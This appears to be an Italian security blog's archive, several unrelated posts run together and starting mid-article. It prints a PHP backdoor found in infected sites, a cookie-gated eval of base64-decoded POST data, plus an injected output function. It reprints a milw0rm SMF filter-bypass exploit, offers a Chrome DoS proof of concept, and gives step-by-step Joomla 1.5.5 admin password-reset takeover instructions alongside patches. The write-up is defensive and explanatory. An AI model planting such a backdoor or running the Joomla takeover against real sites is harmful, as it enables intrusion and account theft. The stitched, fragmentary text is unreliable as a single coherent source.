if(md5($_COOKIE['73043475c0893e30'])=="59fdd20854f4a2056c082cab53e64860"){ eval(base64_decode($_POST['file'])); exit; } ?>

(la riga 3 non è presente in tutte le versioni)

e queste rige dalla fine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

                < ?php
                function security_update($buffer)
                {
                        $update = '18446744073709551615';
                        if (stristr($buffer, '</html') !== FALSE)
                        {
                                return eregi_replace('</html', $update.'<html', $buffer);
                        }
                        else
                        {
                                return $buffer.$update;
                        }
                }
                ?>

Possibilità di infezione

Non ho determinato, per ora, se l'infezione avviene tramite una vulnerabilità del proprio applicativo web o se invece avviene via Ftp sfruttando le credenziali del proprio Client Ftp.

In ambo i casi i consigli sono sempre gli stessi e fanno sempre bene:

1) Verificare presso siti di sicurezza come Secunia o SecurityFocus o Milw0rm eventuali nuove vulnerabilità dei propri applicativi/script/cms.

2) Eseguire periodicamente scansioni complete dei propri PC con software AntiMalware,AntiSpyware, etc. In particolare consiglio l'utilizzo di Malwarebytes' Anti-Malware che include tutte queste protezioni in un unica soluzione

Chiunque abbia informazioni al riguardo e volesse condividerle mi scriva all'indirizzo capn3m0@capn3m0.org

AGGIORNAMENTO DELL'8/11/2009: [HACK] – Cannot redeclare security_update(), alla fine è arrivato!

Le vulnerabilità sono di due tipi: Blind SQL Injection e Remote Code Execution.

Tale vulnerabilità è stata riportata da Milworm e questo è l’indirizzo dell’Exploit.

Egix, lo scopritore di tale vulnerabilità riporta anche un fix da applicare al file “php-stats.recjs.php” al fine di correggere tale falla di sicurezza.

Per fixare il vostro Php-Stats aprite il file “php-stats.recjs.php” e posizionatevi alla Riga 94. Troverete il seguente codice:

if(isset($_GET['ip'])) $ip=urldecode($_GET['ip']); else break;

che andrà sostituito con questo:

if(isset($_GET['ip'])) $ip=intval(urldecode($_GET['ip'])); else break;

Come sempre eccovi il file già fixato:

Fix Php-Stats 0.1.9.2

Questo l’Exploit pubblicato su Milw0rm:

Name: SMF 1.1.6 Filter Post Bypass
Author: WHK
WebSite: http://www.jccharry.com/

en{
The data in a post are not filtered properly when someone enters
statements BBCode wrong without content that a user can enter
words banned by the system of restrictions by allowing expose
SPAM content, and so on.
}

es{
Los datos en un post no son filtrados adecuadamente cuando alguien
ingresa declaraciones bbcode sin contenido probocando que un
usuario pueda ingresar palabras prohibidas por el sistema de
restricciones permitiendo exponer contenido SPAM, etc.
}

Example of a post / Ejemplo de un post:

——————————————————————
[color=red][size=20pt]Fu[url][/url]ck you admin![/size][/color]

My SPAM: [b]ht[b][/b]tp://www.jc[i][/i]charry.com/[/b] >:D
——————————————————————

Demo:

http://www.jccharry.com/archivos_publicos/smf_filter_post_bypass.png

# milw0rm.com [2008-10-04]

Viene spiegato che “…i dati in un post non vengono filtrati correttamente quando vengono inseriti alcuni tag BBCode errati permettendo così di inserire parole (o tutto ciò che è ritenuto SPAM) bypassando il Filtro AntiSpam..“.

L’autore dell’exploit, tale WHK, allega poi l’immagine seguente dove riporta sia il metodo con cui ha inserito il testo ed i BBcode nel Post, sia il risultato finale.

Esempio pubblicato dall'autore

Tale Exploit è un DoS PoC (Proof Of Concept) che sfruttando la funzione “alert” del JavaScript opportunamente formattata consente di far aumentare il carico in memoria di Google Chrome in pochi secondi causando un crash dell’applicativo. Ricorda come realizzazione quei JavaScript che venivano utilizzati forse 10 anni fa per far crashare i Browser (o in certi casi il Pc) generando un loop di apertura di PopUp.

Per chi volesse testarlo sulla propria pelle ecco l’Exploit versione Html e, successivamente, compresso con WinRar (non vorrei farvi crashare i PC  ):

Exploit Google Chrome – Milw0rm 6554

Ed eccovi alcuni screenshot del TaskManager di Chrome durante le prove.

Stato del TaskManager di Chrome appena avviato

Dopo 15 secondi la situazione era questa:

Lo stato della memoria dal TaskManager di Google Chrome dopo circa 15 secondi dal caricamento dell'Exploit

Aspettando qualche minuto la memoria Ram del proprio Pc sarà satura e Google Chrome andrà in errore

Il risultato di poco più di un minuto di attività dell'Exploit

L’unica cosa che mi permetto di osservare è che durante la navigazione, se si incappa in un sito contenente tale Exploit, potrebbe capitare di non accorgersi di quanto sta accadendo poiché, mentre Mozilla FireFox segnala e blocca l’apertura del Popup, in Google Chrome appare una barra in basso che, a mio avviso, non si nota particolarmente.

Rimango fiducioso verso gli Sviluppatori Google e come detto all’apertura di questo articolo tengo a sottolineare che stiamo parlando di una versione Beta. Penso che in occasione della primea Release Stabile questo genere di errori e falle saranno risolte a vantaggio di un nuovo concetto di Browser

Al link seguente troverete l’annuncio ufficiale:

http://developer.joomla.org/security/news/241-20080801-core-password-remind-functionality.html

Questo, invece, quello dal Sito Italiano:

http://www.joomlaitalia.com/content/view/323/90/

Sfruttare tale vulnerabilità risulta alquanto semplice poiché bastano pochi semplici passaggi per eseguire il reset:

1) Una volta individuato il Sito in Joomla caricare questo Url:

/index.php?option=com_user&view=reset&layout=confirm

2) A questo punto apparirà un form che chiederà l’inserimento di un codice che, teoricamente, avreste dovuto ricevere in mail

3) Inserite l’apice (‘) come carattere continuate

4) A questo punto avrete il campo di cambio password e, inserendola, editerete direttamente il profilo Administrator

Il supporto Joomla individuata la vulnerabilità (la variabile token non veniva correttamente verificata) ha provveduto a rilasciare in tempi da record la versione 1.5.6 con tale problema fixato. Dalla sua uscita sono stati scoperti ulteriori vulnerabilità che han portato alla release 1.5.7 in pochi giorni:

Potete scaricare dai seguenti link questa versione:

Joomla 1.5.7 Full Eng

Joomla 1.5.7 Full Ita

Per chi avesse subito un’hacking sfruttando questa vulnerabilità consiglio di aggiornare a questa versione e, nel caso siano ancora visibili “tracce” (home page cambiate) dell’hacker ho notato, per esperienza, che le pagine maggiormente colpite sono 3:

• configuration.php
• index.php (del template attivo nel Cms)
• la cartella “cache” (consiglio di svuotarla)

Provvedete a ripristinare le originali e il problema è risolto.

Dato che trovere il vostro account Admin non accessibile visto che è stata cambiata la password sarà necessario effettuare l’accesso direttamente al PhpMyAdmin e riscrivere la password nel Database.

Una guida a questa operazione la potete trovare qui.

Per chi non avesse sbattimento ho fatto uno scriptino veloce veloce che fa la stessa cosa. Basta copiare il file nella root della vostra installazione Joomla, richiamarlo da Browser e impostare la password.

Il file lo potete scaricare dal seguente link:

Joomla Change Admin Password

Infine, x chi ha molto sbattimento, di seguito la guida a come fixare tale vulnerabilità manualmente.

1. Aprire il file “/components/com_user/models/reset.php”
2. Posizionarsi alla riga 113 dopo la riga “global $mainframe;” ed inserire il seguente codice
   

   if(strlen($token) != 32) {
   $this->setError(JText::_(‘INVALID_TOKEN’));
   return false;
   }

3. Fine dei giochi!